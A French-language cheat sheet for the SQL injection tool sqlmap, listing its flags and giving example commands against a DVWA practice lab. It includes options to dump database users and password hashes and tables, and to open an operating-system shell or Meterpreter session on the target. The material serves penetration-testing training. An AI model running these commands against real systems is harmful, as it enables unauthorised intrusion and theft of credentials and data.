SQLMap

Def et Fonctionnement :


sqlmap.jpg.webphttps://github.com/sqlmapproject/sqlmap/wiki/Introduction

SQLiMap est un outil de pentesting qui automatise le processus de détection de d'exploitation de failles SQL qui peut aller jusqu'à l'execution de code sur la machine cible.

Exemple d'utilisation sur DVWA :
https://ethicalhackingguru.com/how-to-use-sqlmap-with-dvwa/

Utilisation :


Paramètres génériques :


-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Récupération d'informations :


Interne :

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Données DB :

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

ROOT :


--os-shell          Prompt for an interactive operating system shell
--os-pwn            Prompt for an OOB shell, Meterpreter or VNC

Reset :

--purge #delete cached data from previous scans

Commandes spécifiques :


sqlmap -r sqli.txt --cookie="PHPSESSID=9fecb644cb73d32a1e84197757d5b9d3;security=low" --dump --batch

Exemples :


sqlmap -u "http://172.30.150.177:4280/vulnerabilities/sqli_blind/id=1&Submit=Submit" -p id --cookie="security=low;PHPSESSID=54286e54dca3da4826c394d13c54c9d2" --dbs